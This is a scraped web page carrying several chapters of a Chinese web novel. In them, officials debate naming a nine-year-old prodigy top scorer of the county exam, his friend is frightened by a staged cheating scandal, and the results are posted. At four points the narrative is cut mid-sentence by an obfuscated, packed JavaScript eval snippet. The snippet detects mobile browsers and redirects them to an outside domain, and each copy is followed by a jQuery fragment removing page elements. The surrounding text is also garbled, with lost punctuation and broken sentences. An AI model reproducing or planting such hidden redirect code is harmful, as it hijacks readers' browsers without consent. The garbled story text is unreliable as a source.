可当看完叶怀峰递过来的试卷以后,宋知府当场被震撼到瞠目结舌,甚至没忍住,中途还激动叫了几声好。 读完那两篇八股文,宋知府脑子都是懵的。 实在是太过振聋发聩了! 而且,这是开蒙一年的崔岘所作? 不讲道理,简直不讲道理啊! 但很快,宋知府便明白了叶县令的意思,哆嗦着说道:“你该不会是……” 叶县令目光坚定:“是的!” 宋知府哆嗦的更厉害了。 接着他突然反应过来,这一两年来,自己总是在哆嗦。而且每次哆嗦,都是跟崔岘有关。 上次《悯农二首》就够吓人了。 好家伙,这次又来个九岁的县案首。 宋知府是个老油条,叶县令需要考虑很久的事情,他片刻就能捋明白。 这又是一个史无前例的大阵仗啊! 但崔岘后台通天,叶怀峰要点县案首,宋知府无权干涉,也不敢干涉。 没办法,只能上报,看上面怎么说吧。 上面——那就是负责全省科考、教学的提学大人了。 宋知府深吸一口气,哆嗦着说道:“小叶啊,冷静,你冷静。咱俩连夜去一趟开封,跟提学大人知会一声。” “兹事体大,本官有点害怕。” ? 105、两篇八股文引发的汹涌暗潮(中) 这一晚,很多人都没睡安生。 首先自然是叶怀峰县令,和宋知府。 二位大人经过商议后,带着崔岘的试卷,连夜赶往开封府。 县试发榜一般是三到五天时间,很少超过七天。 因为还得给后面的府试、院试预留时间。 行程很赶,二位大人心急如焚。 当然他俩都懂,其实这次点县案首,反而是次要的。 主要是等县衙放榜,县案首公之于众后,引发的后续一系列要命的大震动啊! 当宋知府、叶怀峰哆嗦着往开封赶去的时候。 裴坚觉得天塌了。 白日,他在裴氏族学里,一直在等。 吴清澜发现他没有去考县试,肯定要告诉他祖父裴崇青。 然后暴怒的老爷子,会直接冲到族学里来,把他狠狠揍一顿。 说不定还会关他禁闭。 但,裴坚猜错了。 一整天时间,族学里安安静静,裴崇青始终没来。 下学后。 在庄瑾等人自求多福的同情注视下,裴坚背着书箱回家。 说实话,小裴少爷此刻是有点忐忑的。 不应该啊,自己干出这么混账的事情,家里老爷子怎么一直没动静呢?难不成被气病了? 心里这样想着,裴坚既愧疚又担忧,小声嘟囔道:“裴坚,你这次真的有点太不懂事了!待会儿祖父打你,你可不许躲……嗯,稍微躲两下最狠的吧。” “也不知岘弟能不能中县案首,希望他能中,这样就算被打一顿也值了。” 他嘀咕的同时,加快脚步回家,一副视死如归的表情。 可等回到府里后,裴坚表情越来越疑惑。 因为祖父、祖母都不在家,仆从们都被遣去了后院。唯独老管家一人,急的团团转。 瞧见裴坚回来,老管家赶紧上前,表情惶恐极了:“小少爷,您这次……究竟又闯什么祸事了啊!” 裴坚表情微松,看来家里已经知道了。 可下一刻。 便听老管家又颤声道:“老爷说,小少爷您把岘少爷给害惨了!岘少爷可能卷进了科举舞弊案,如今下落不明。” “老爷从今日下午便急匆匆外出打探情况到现在还没回来呢。” “老夫人则是陪着崔家人同那位东莱先生一起连夜出发赶去开封府了。” 什、什么? 裴坚刚松下来的一口气猛然提起勃然大怒道:“……你胡说八道什么呢!” 老管家抹了一把眼泪:“小少爷我怎么敢拿这种事情诓骗您!您赶紧去书房吧 裴坚这次是真害怕了反手丢掉书箱苍白着一张脸往书房跑。 他身后。 红着眼睛的老管家悄悄从袖中掏出半颗胡葱放在眼角蹭一蹭而后迅速又藏进袖子中。 裴坚自然是没看到这一幕。 他发疯一般冲进书房看到了祖父给他留的信上面大概意思是: 和崔岘联保的五位童生中的一个在考场抄袭被抓。此人为了活命出卖了崔岘是被人帮忙报考一事。 更复杂的是那位抄袭的童生很有可能是故意的。 是朝中郑阁老的政敌想借此坑害他的徒孙崔岘。所以牵扯到舞弊案中的崔岘如今已被秘密押解去京城等待审问。 东莱先生带着全崔家人连夜赶去开封打探崔岘的消息。 裴老夫人因为愧疚难当陪着崔家人一起去了。 不得不说裴老爷子这次是下了狠心愣是给孙子编了一出大戏。 乍一看真的相当唬人。 虽然很多细节经不起推敲可已经足够糊弄住裴坚了。 裴坚看完以后只觉得眼前发黑。他一屁股栽倒在地上苍白的脸上尽是惊恐和一些没反应过来的茫然。 就这样直愣愣坐在地上好一会儿他意识才慢慢回笼然后‘哇’的一声便哭出来。 眼泪豆子唰唰往外掉。 “假的肯定是假的!岘弟他好好地在家呢!对一定是这样!” 裴坚哭着试图爬起来可因为满心恐惧悲痛试了好几次才颤抖着起身。 而后。 他连眼泪都顾不上擦避如蛇蝎般一把甩开祖父留下的那封信拔腿就往外跑。 老管家瞧见他出来颤声道:“少爷您别出去了此事万万不可声张出去 您——” “走开!” 裴坚呵斥一句,哭嚷着跑出家门。 夜色中,小少年的背影一直在发抖,看起来可怜极了。 老管家偏过头。 侧边耳房,裴崇青安静站在那里,脸上的表情格外复杂。 既生气,又心疼。 但最终老爷子只是发出一声叹息:坚哥儿啊坚哥儿,莫怪祖父狠心。你跟岘哥儿做了兄弟,本就是旁人羡慕不来的造化。 你若不收收心,尽快成长起来,跟上岘哥儿的步伐。以后,怕是再也没有机会了。 人这一辈子,能有几次这般通天造化呢?祖父希望你,千万要把握住啊。 另一边。 裴坚满心惊恐,哭着来到崔家门外,拍了许久的门,都无人应答。 崔家宅院里黑黢黢一片。 在此刻的裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088396|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚看来,那就像是一只会**的恶鬼——它就这样冷漠地、残忍地吞掉了岘弟。 早上的时候,兄弟二人在这里碰面,岘弟还给他递了糕点。 怎么才短短一天过去,就发生了这样骇人的事情呢? 裴坚坐在崔宅外,放声大哭。 这是他生平头一次,经历这般恐怖可怕的事情—— 原来那些他自以为的小聪明,并非是真的聪明。 有些时候,甚至能闹出人命! 但裴坚还是抱有一丝丝期待。 他踉跄着站起来,跑去东莱先生家敲门,东莱先生不在家。 而后。 裴坚又狂奔去县衙。 今日才刚考完县试,县衙**,他当然什么都打听不到。 换做平时,以他的脑子,眨眼便能想出好几种打听消息的办法。 可现在,他不敢了。 老管家先前说:此事万不可声张。 这提醒了裴坚,他生怕自己自作主张瞎打听,又闹出事端,反倒再次坑害了岘弟。 不,他已经把岘弟坑惨了! 想到这里,裴坚一巴掌甩在自己脸上,整个人被自责、惊恐的情绪笼罩。 “对不起……真的对不起……大哥不知道会是这样的……呜呜呜……大哥太笨了,跟不上你的步 伐……大哥以为这样算是最后替你做一件事的……” 街道上黑黢黢的。 一个小少年踉跄走在其中,哭的撕心裂肺,满脸绝望。 他甚至不敢去想……若是崔岘最后真的被卷入其中,会遭受什么样的惩罚?坐牢?抄家?流放?甚至……问斩? 想到这里。 裴坚苍白着一张脸,猛然打了个寒颤。 不行! 像是岘弟那样耀眼的天才少年,应该走出南阳。去开封,去京城,在大梁王朝尽情发光,在历史上留下浓墨重彩的一笔。 而不是被一个愚笨、无知、自作聪明的纨绔大哥连累,落得如此凄惨的下场。 他卯足了劲,一路踉跄着跑回家。 裴府门口挂着灯笼,裴崇青冷着一张脸,站在门外,表情在灯光的辉映下,晦涩不明。 裴坚像是发现了救命稻草。 他哭着跑去过,直接在冰冷的地面跪下,颤声乞求道:“祖父,孙儿知错了,孙儿知道错了!孙儿现在,好难受,好害怕!” “是孙儿自作主张,给岘弟报的名!这一切都和他无关,求您了!您明日一早,带孙儿去报官吧!” “岘弟他是无辜的,孙儿不能坑害了他啊!” ? 106、两篇八股文引发的汹涌暗潮(下) 看着裴坚哭的悲痛欲绝。 裴崇青压下心中的怜惜,冷声道:“裴坚,我先前明确警告过你,科举兹事体大,不容乱来。” “稍有不慎,便会祸及全族!你才12岁,便敢捅出这般大的篓子!你让我们以后,如何面对崔家?” 裴坚跪着往前爬两步,没敢再为自己狡辩,不停哭着认错:“我知错了,我真的知道错了,祖父!” “求您想办法救救岘弟!若是将我缉拿报官,能把他救下来吗?您带我去县衙……” 他话没说完。 裴崇青呵斥道:“住嘴!你个逆子,现在这等时候,岂是缉拿了你,就能轻易息事宁人的?” “你现在,马上给老夫滚进去。没有我的准许,不许踏出房间一步!” “岘哥儿那边,我自会想办法去援救。但若你再敢——” 裴坚赶紧哭着保证道:“我听您的话,我马上滚回房间,我什么都不做,我保证。” 说罢。 他颤抖着站起来,往府里走。 走到一半,裴坚转过身,一双眼睛通红,用近乎哀求的语气问道:“祖父,岘弟他会没事儿的,对吗?” 裴崇青一双苍老的眼睛,深深的看着自己的孙儿,终究是没有狠下心来,轻声道:“会的,你回房吧。” 裴坚都忘记那天自己是怎么回到房间的。 只记得,那个夜晚真的很漫长、很漫长。 他很想睡觉,醒来以后发现这其实只是个噩梦,岘弟其实还好好地。 可只要一闭上眼,各种恐怖的场景都来了。崔岘眼泪汪汪的看着他,泣声问道:“大哥,你为什么要害我!” 裴坚猛然从床上坐起来,不停哭着说‘对不起’,靠在墙边颤抖着抹眼泪。 这一年,裴坚12岁。 他经历了一场堪称山呼海啸般的恐怖‘浩劫’,上了自己人生中最残酷的一课。 原来,耍小聪明也可以致命。 一件看似不起眼的小事背后,可能标注着一个你无法负担的价格。 漫长的夜终于过去。 阳光透过窗户,倾洒进卧房。 裴坚仍旧坐在那里,脸色苍白,愣愣发呆。 他模样看 起来和往常没什么区别,但好像……又有哪些地方变得不一样了。 似乎短短一夜,他历了一场心劫。 一夜间,便长大了。 裴府外。 李鹤聿、庄瑾、高奇三个少年,都看着崔岘。 庄瑾迟疑道:“岘弟,咱们真要去找裴坚吗?你是不知道,他昨日竟然旷考了县试,我猜他祖父、祖母现在肯定在震怒。 “咱们现在进去,少不得被牵连挨骂。 李鹤聿、高奇忙不迭点头。 崔岘闻言摇头道:“不会的,不管是裴祖父,还是大哥,现在都盼着咱们进去哩。 昨日,崔岘上了裴府的马车,但是却并未去桃花山林游玩。 他去庄瑾家借住了一晚。 今日一早,便喊着高奇三人,赶来裴府。 盼着咱们进去? 听到崔岘这话,庄瑾三人都很是纳闷,但还是选择叩开了裴府的大门。 开门的管家瞧见崔岘,神情一愣,赶紧将裴崇青喊来。 裴老爷子急急出来,说道:“岘哥儿,你不是答应好了,离开几天,让祖父训诫裴坚那厮的吗? 崔岘朝着裴老爷子一拱手,说道:“是啊,祖父教训孙子,岘无权干涉。但是祖父,岘只答应了您,要暂时离开几天。可没跟您约定,具体是几天啊。 说到这里。 他抬起头来,认真道:“我知道,祖父您嘴上不说,心里肯定也是担心大哥的。祖父,我也很担心大哥。所以,您让我们进去吧。 看着崔岘眼神中掩饰不住的关切和担忧,裴崇青很是动容。 少年的纯粹友谊,当真让人感慨又羡慕啊。 片刻后,裴老爷子摆摆手:“好,你们进去吧。 庄瑾三人,赶紧跟着崔岘进去。 他们仨到现在,还没明白发生了什么事,但不妨碍他们幸灾乐祸啊! “裴坚!好哥哥!你还活着嘛! 庄瑾第一个冲进裴坚的小院,非常不客气的推开他的卧室门,大声嘲笑道:“昨晚挨打了吗?你有没有掉眼泪啊,跟兄弟们说——哎哟! 没等庄瑾把话说完。 裴坚突然冲过来,一把抱住他,哭道:“庄 瑾我该死我真该死啊!我把岘弟害惨了!” 啊? 庄瑾傻了。 眼看裴坚在自己身上哭的鼻涕横流他忍住嫌弃指向门口迟疑道:“岘弟不是就在这里吗?你怎么把他害惨啦?” 裴坚哭声骤停猛然抬头。 卧房门口崔岘笑眯眯喊道:“大哥。” 裴坚差点以为自己在做梦。 他不可置信的愣住片刻而后反应过来一把将庄瑾推开颤抖着朝崔岘扑了过去。 “岘弟!你没事就好!你没事就好啊!” 被推开的庄瑾:? 你没事吧? 他很想骂人但一回头便见裴坚抱着崔岘嚎啕大哭。 裴坚哭的好伤心似乎把一夜的担惊受怕、委屈自责愧疚歉意全都给哭了出来。 崔岘拍着他的肩膀以示安慰。 庄瑾、李鹤聿、高奇终于察觉到不对劲都怔愣住了。 另一边。 叶怀峰、宋知府二人 到了开封后他们不敢耽误半分时间直接去找提学大人。 提学大人听闻这二人的来意有些狐疑但还是耐着性子道:“什么试卷竟让你二人如此大反应且让本官看看。” 说罢提学大人接过崔岘的试卷。 结果只看了第一眼他便瞪大眼睛脱口而出道:“惟圣人能继先业以成武功故能得声誉之盛而备诸福之隆也?” “此题竟然还可以这么破?实在让老夫自愧不如啊!” 这便是八股的魅力所在——破题破的好一句话就能振聋发聩。 但今日这份试卷可不仅仅破题破的好! 整篇文章无半点八股文之枯燥反而写的大气磅礴辞藻华丽。可又并非是在卖弄技巧而是真正做到了言之有物! 废话不仅仅是言之有物这都得是孔孟上身说出来的话语了! 提学大人甚至顾不上叶怀峰、宋知府拿着那份试卷越读脸色越激动整个人浑身都在颤抖。 好不容易看完了第一篇等看到第二篇后他眼睛立刻瞪得更大更圆。 瞧见提学大人这 番反应,宋知府和叶怀峰互相对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088397|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一副‘我就知道’的表情。 只要写过八股文,就能懂这两篇八股文带来的惊艳震撼! 半晌后。 提学大人终于读完了,他看向宋知府、叶怀峰,怒道:“这样好的锦绣文章,还有什么值得商榷的!必须点做县案首!” “等等……县案首?难道此考生竟然是位青年?了不得,实在了不得啊!” 说话的同时,提学大人去看试卷上的名字,狐疑道:“崔岘?怎地这个名字,听起来这般耳熟呢?” 叶怀峰赶紧道:“启禀提学大人,崔岘,是东莱先生的弟子,年九岁。” 此话,犹如惊雷,震得提学大人瞠目结舌。 而后他很快便反应过来,为何宋知府、叶县令会星夜兼程赶来开封寻找自己。 九岁,县案首! 提学大人可太懂这意味着什么了! 但提学大人转念一想,不对啊! 因为东莱先生如今就在开封,还刚问自己借了孤本藏书呢! 当时跟东莱先生闲聊,对方似乎提过一嘴:我那小弟子,最近风头太盛。所以我准备压一压他,让他稍微低调点。 ……不是,这就是您口中的‘低调’? 让弟子写两篇堪称教科书级别的八股文? 提学大人不解,并很是震撼。 难道老先生口中的低调,和我等凡人理解的低调,是两个意思? 那这县案首,是点,还是不点啊? 一旦点了,别说南阳县令叶怀峰,就算自己这个河南提学,都得做好礼部官员来盘查的准备。 更要命的是,李端还是河南布政使。 郑阁老怕是也跑不掉,怎么都得被参两本。 自古以来言官都这臭德行,有事没事,先开喷。喷不死,不亏,喷**,血赚! 于是,想明白其中关键的提学大人也头疼了。 这事儿他不能明着请示李端,布政使大人插手科举,这简直是在明晃晃给对手递把柄。 所以琢磨片刻后,提学大人想出一个主意——探探东莱先生的口风。 万一郑阁老就是想让徒孙做九岁县案首呢,他没必要、也不敢在其中使绊子。 因此。 提学大人亲自誊抄了那两篇八股文,带着去找东莱先生,语焉不详的问道:“老先生,您看这两篇文章,可能点做魁首?因为一些很复杂的原因,我们正在纠结。” 东莱先生一开始只是随意扫了两眼。 而后神情豁然变得激动,等看完那两篇文章,高声道:“这两篇文章,连老夫都不一定写的比他更好,你竟然还敢迟疑,是否点他做魁首?” “老夫最讨厌你们这些官僚做派!有什么好纠结的!就算是阁老来了,也得点他做魁首!” 他只是看到好文章,过于激动,随口举了个例子。 但听在提学大人耳中,就自动翻译成了:兄弟你放心,阁老知道这个事儿,这九岁县案首,你就放心点吧! 提学大人觉得自己懂了。 他告别东莱先生,回去对叶怀峰和宋知府道:“上面都安顿好了,你俩放心,大胆去做吧!” 叶怀峰,宋知府互相对视,振奋点头。 既然上面都发话了,那—— 南阳县九岁的县案首,就可以放心‘出炉’了! ? 107、九岁县案首!(上) 裴府。 “你的意思是说……你根本没有报考县试而是瞒着所有人替岘弟报了名?” 庄瑾、李鹤聿、高奇三人在得知事情的来龙去脉后齐齐张大嘴巴呆滞看向裴坚。 ……兄弟你怎么敢的啊! 裴坚脸上仍旧有泪痕后怕又羞愧的看向崔岘认真道:“岘弟大哥这次真的知道错了。” “大哥向你道歉。” 说罢他竟站起来朝着崔岘拱手。 崔岘赶忙扶住他说道:“大哥我也要向你道歉。你替我报考一事是我告诉了裴祖父他很生气所以才……” 裴坚打断崔岘的话咧开嘴笑道:“不重要了 他俩互相搀扶着一副‘兄友弟恭’的腻歪姿态。 庄瑾三人看的直呼肉麻。 但不管怎么说崔岘安然无恙裴坚的心情一下子就明媚起来。 加上几个小兄弟一起插科打诨他的状态开始逐步恢复。 裴崇青嘴上说着要教训孙子但也惦记着小孙子一夜伤心未进食让仆从们送来了丰盛的早食。 春日阳光和煦。 五个小少年坐在院子里大快朵颐。 吃饱喝足后李鹤聿好奇地问道:“裴坚你为什么要替岘弟报考啊?” 这话让其余人都看过来。 迎着几位兄弟的打量裴坚沉默片刻选择说了实话。 他声音有些低落:“因为我觉得自己以后会距离岘弟越来越远。” “如果注定跟不上他那替他报考就相当于他去帮我考个状元郎的功名吧。挺蠢的想法是吧。” 裴坚说完后。 不仅问话的李鹤聿包括庄瑾、高奇在内都愣住了。 而后大家一同陷入某种低落的沉默。 虽然裴坚做这件事挺蠢的但莫名地他仨能理解这个想法。 有些话他们憋在心里许久了一直没敢说。 但今日既然裴坚把话挑明了其余三位小少爷就想顺势说一说。 庄瑾看向崔岘语气有些苦涩:“岘弟其实呢我跟裴坚也有差不多的想法。你 ……太优秀了,让我有种怎么追赶,都赶不上的绝望。 李鹤聿点点头:“是啊。现在想想,我们几个所谓的南阳四大才子,就是个笑话。 高奇笑的很勉强:“虽然很不想承认,但是咱们这几个大哥,好像都挺废物的。 说完后。 四个‘废物大哥’眼巴巴看向崔岘,多少有点‘求安慰’的意思。 未曾想。 崔岘看着他们四个,慢吞吞说道:“听起来,你们好像确实不怎么优秀。 “要不,我再去找几个优秀的大哥吧。 四位少爷闻言:? 人怎么可以说出这么冰冷无情的话! 见四位大哥很是受伤的模样,崔岘哈哈笑出声:“就算外面有很多优秀的大哥,那跟我崔岘又有何干系呢? “咱们兄弟,一起出过话本,一起扳倒过赵志,一起上学,一起玩耍。早就不是优秀与否,能左右的肤浅关系。 “几位大哥只是暂时不够优秀,没关系啊。我带大哥们一起走,咱们兄弟,谁也不许掉队。 这话,让四位大哥很是感动。 问题是—— 高奇叹了口气,嘟囔道:“怎么一起走,我们几个废物,拼尽全力,也跟不上岘弟你啊。 青春期的小男孩,心思过于敏感。 因为有崔岘这个超级天才作为参照物,导致开始自我怀疑,甚至自我贬低、厌弃。一口一个‘废物’称呼自己,自卑又难过。 这个时候其实无需过多安慰,稍微用点巧劲儿,把‘恶性摆烂’,转化成‘良性内卷’就好了。 若是这股巧劲儿,能‘炫酷张扬’的使出来,那真是轻松拿捏几个小兄弟。 因此,听完高奇的话。崔岘略作沉默,突然坐直了身体,朝几人勾了勾手指。 啊,怎么个意思? 四人见状,狐疑的凑过来。 便听崔岘低声道:“大哥们,其实我掌握了一种学习的独门秘法。正是因为有了这个秘法,我才能一看就懂、一学就会、一考试全对。你们,想不想学啊? 啊这。 庄瑾挠挠头,很无言:“岘弟,我们看起来很好骗吗? 裴坚也道:“是的,我已经1 2了不是去年11岁的小屁孩!让岘弟你忽悠几句就能热血上头觉得自己能像虹猫少侠那样优秀。” 高奇、李鹤聿也不信并且嘟囔道:“岘弟你不能仗着自己聪明老是忽悠大哥们啊!” 崔岘一摊手:“打个赌。” 那你要这么说兄弟们就来劲了奥! 庄瑾下意识问道:“打什么赌赌什么?” 崔岘笑眯眯看着四位大哥明明声音不大但说出来的话却张扬的让人咂舌:“我参加了这次县试你们知道的吧?” “所以 院子里一片沉默。 四人震撼的看着崔岘只觉得岘弟说这话的时候真是相当张扬自信。 问题是…… 李鹤聿结巴着说道:“可是岘弟你才开蒙了一年中县案首是不是有点太夸张了?” 庄瑾咽了口唾沫点头:“最年轻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088398|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县案首好像是11岁你才9岁!” 崔岘眨眨眼声音中带着蛊惑:“我不是说了吗我有一种特殊的学习秘法。所以考个县案首而已手到擒来。” “我天资比旁人稍微优秀一点学了以后能中县案首。若是一些天资不好的稍微差一些的学了县案首中不了但中个童生应该问题不大。” 这……怎么可能! 四人一副并不相信的表情但心跳都开始加速了。 裴坚舔了舔嘴唇终究是没忍住颤声问道:“真有秘法?” 李鹤聿冷静道:“肯定是假的岘弟心眼子最多了老忽悠咱们!裴坚你别痴心妄想了岘弟就算能中县案首那也是他自己的本事和秘法无关。” 高奇、庄瑾点头表示同意。 崔岘并不反驳看向李鹤聿:“看来鹤聿兄不需要这个秘法那我就不告诉你了。” 刚才还一副冷静模样的李鹤聿急了:“别啊!” 崔岘笑眯眯摊了摊手:“总之呢话我说完了信不信由你们。咱们且等县衙放榜后见分晓。” 他表情真的太笃定了。 一开始裴坚几人是死活不信的。 可后面越想越迫切……万一真有秘法呢? 就跟岘弟说的那般中 个童生什么的,岂不是爽**! 于是。 几位大哥被钓成翘嘴了,想尽办法来跟崔岘打听‘秘法’的事情。 对此崔岘一摊手:“口说无凭,等县试放榜以后,自然能论证我的说法。可惜啊,你们几个似乎并不相信我,而且也不是很愿意学习秘法。” “既然这样,那就算了。” 四人:“……” 我们现在说愿意,还来得及吗! 后来的那几天,裴坚、庄瑾等四人,一有空就眼巴巴往县衙跑,等着县衙放榜。 他们反倒比崔岘本人更关心中县案首一事。 就好像,崔岘中了,能给他们打一波鸡血。让他们跟着振奋起来,相信确实有‘秘法’的存在。 而这个不知是否存在的‘秘法’,让他们看到了一些微弱的希望。 跟上岘弟步伐的希望! 可不知为何,今年县衙放榜的时间,格外漫长。 县试后的第五天。 上午。 裴老夫人,和崔家一大家子,终于从桃花山林回来了。 与此同时。 庄瑾和高奇激动的嚷嚷着冲进裴府:“放榜了!兄弟们,放榜了!我一听说这个事情,就马上来寻你们。” “岘弟,裴坚,鹤聿,快走,咱们去看榜!” ? 108、九岁县案首!(下) 听说县衙今日放榜。 崔岘和裴坚、庄瑾等人先后冲出裴府。 刚好跟回来的裴老夫人、以及崔家人碰面。 裴老夫人笑眯眯道:“哎哟老远都听见你们在嚷嚷怎么了这是!” 裴坚缩了缩脖子没敢吭声。 庄瑾迫不及待激动道:“放榜了县衙放榜了!裴家祖母、崔家祖母还有各位叔叔、婶婶咱们一起去县衙吧!” “岘弟很有可能中榜呢!” 他甚至都没敢说中县案首。 但这已经足以让崔家一大家子瞠目了。 老崔氏瞪圆了眼:“什么意思?岘哥儿怎么有可能中榜呢?” 于是。 庄瑾、高奇、李鹤聿三人七嘴八舌的把事情经过一一解释。 崔家人听得一愣一愣的难以置信看向裴坚而后又看向崔岘。 裴老夫人则是眼前发黑抓起裴坚便要打:“我打死你个混账玩意儿科举这么大的事情你都敢胡来!” 为了避免她多想裴老爷子没告诉裴老夫人这件事。 “祖母别打啦孙儿知道错了!祖父已经惩罚过孙儿了!” 裴坚哇哇大叫着闪躲。 裴老夫人气的在后面追着他打。 庄瑾、高奇几人在旁边笑的满脸幸灾乐祸甚至拍手叫好。 老崔氏、陈氏、崔仲渊等人则是围着崔岘 场面一度非常之混乱。 “所以那日岘哥儿你说有事儿其实是去参加科举啦?” 得到肯定回答老崔氏‘哎哟’一声絮叨道:“你这孩子嘴巴可真够严实的!参加科举这么大的事情你自己悄咪咪就去了!笔墨纸砚带齐了吗干粮糕点有没有准备!” “考试要搜身的你衣服里经常夹带书籍莫要被人家县衙检查的老爷们误会了!还有——” 看得出来老崔氏是真担心呐。 陈氏在一旁笑道:“娘岘哥儿都已经考完好多天咯。” 哦对! 老崔氏反应过来但仍旧觉得揪心——参加科举这么大的事情没有大人陪着怎么行呢! 不过坚哥儿一直 在哀嚎,看着可怜巴巴的。 老崔氏又顾不上了,一边数落裴坚,一边又护着他,跟裴老夫人道:“哎哟,老姐姐,打几下就可以啦,别把孩子给打坏咯! 裴老夫人仍旧很生气。 还是听到动静的裴崇青出来,说已经惩罚过坚哥儿,她才作罢。 但经过这么一件事儿,众人自然也没心情回家了。一合计,行,那都去县衙看放榜吧! 大人们自然是不抱期待的。 倒是庄瑾、裴坚等几个小的,神情激动,一路嚷嚷着‘肯定能中’。 崔岘被围在最中间,神情惬意且放松。 他将带着家人、朋友一起,去迎接独属于自己的荣耀! 唯一遗憾的是,老师没在身边。 唔……想起老师,崔岘多少又有点忐忑尴尬,他还不知道,到时候怎么跟老师解释呢! 没错,虽然结果还没正式出来,崔岘已经心中有数了。 他对自己作的两篇文章,有着强烈的信心! 而且。 若是小小一个童生试,都拿不下案首,那干脆别考了,直接回家吧! 另一边。 县衙。 叶怀峰和宋知府互相对视,而后,叶县令深吸一口气,同差役们说道:“放榜吧! “是! 差役们带着红案榜,走出衙门,准备张贴。 两位大人看着这一幕,神情莫名有些紧张,也有些振奋。 总之,今天整个南阳县城都别想消停了。 那—— 就让暴风雨来的更猛烈些吧! 反正上面有人顶着了! 咱不怕! 心里这样想着,宋知府、叶县令二人镇定下来,底气十足。 县衙外。 “出来了,终于出来了! “快挤进去,放榜了放榜了! “怎地今年放榜这么晚! 成百上千的读书人,兴奋翘首以盼。再加上他们的仆从、家人、朋友。 毫不夸张的说,县衙外面,今日少说得有数千人! 红案榜张贴出来的刹那。 人群陷入 一片躁动,大家卯足劲儿往里面挤,表情或狂热,或激动,或忐忑。 一朝得中,鱼跃龙门,光耀门楣。 这,便是科举的魅力啊! “噫,我中了!哈哈哈哈哈,我中了啊!” 一位头发花白的老翁,在红案榜旁边,放声大笑。笑着笑着,又突然开始嚎啕大哭。 可哭着哭着,老翁瞧见了红案第一那个名字。 于是他震惊的张大嘴,哭声骤停。 随着这一声‘我中了’,现场氛围彻底变得火热起来。 只是这个时候,还没人注意到,红案最前方,响起数道‘怎么可能’、‘老天啊’、‘他才几岁’的震撼惊呼。 那位曾经坐在崔岘旁边,被老教谕翻白眼,却自认为考的很好的考生,急吼吼挤到了最前方。 他下意识从最后面开始,寻找自己的名字。 然而找了许久,都没找到。 “怎么会没中呢,不可能啊,我答得那么完美!但还好,小神童也没中,我都没看到他的名字哈哈。让我来看看县案首是谁——” 那考生自言自语说着,抬起头,朝着红榜最前排看去。 等看到排第一的名字后,整个人如遭雷击,嘴巴猛然张的老大。 不是?我请问呢? 当时我问你考的如何,你不是一脸苦笑吗? 可你的名字为什么排在第一! 演我,演我是吧! 那位考生心态崩了。 人群中,不乏有很多考生,都抱着这个心态——没在红案上瞧见自己,但是也没瞧见小神童哈哈哈。 咱们跟小神童一样都落榜了,心情似乎也没那么糟糕……等等?! “老天呐!” “他竟然是县案首?怎么可能!” “他才9岁,他才9岁啊!” “老夫今年47岁,考了三十年都没中。一个九岁的稚童,竟然中了县案首……我没疯,我没疯哈哈哈!” 最前排。 几位白发苍苍的老翁,怔怔盯着红案上排名第一的‘崔岘’二字,震惊到哀嚎大笑,或者说哀嚎大哭? 其余一些中年考生、青年考生、少年考生,不管中榜的,还是未中榜的。 齐刷刷盯着那张红案榜首的名字,如遭雷击、沉默失声。 这大概是最诡异的一届县试放榜,后面的人焦急询问,前排的人神情恍惚,怔怔无言。 而后。 前排的人默默往后退,后排的人挤上前去,再上演新的一轮沉默。 他们历经多年寒窗苦读,所以自然没有人比他们更懂,一个9岁的县案首,意味着什么! 看到那个年轻到过分的名字,挂在红案第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088399|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现场看似沉默。 实则,是无数人震耳欲聋的、道心破碎的凄惨哀嚎声! 县案首可以十九岁、二十九岁、三十九岁。 但绝对不可以是九岁啊! 你这样,会显得我们半生寒窗苦读,像是笑话一场。 很多考生愣愣看着那排名第一的名字,甚至莫名有些喘不上气来的恐惧。 人群最后排。 老崔氏紧紧拉着岘哥儿。 崔仲渊、崔伯山、裴老太太、裴崇青等人,则是分别拉着裴坚等四位小少爷,生怕他们被人群挤散了。 好多人啊! 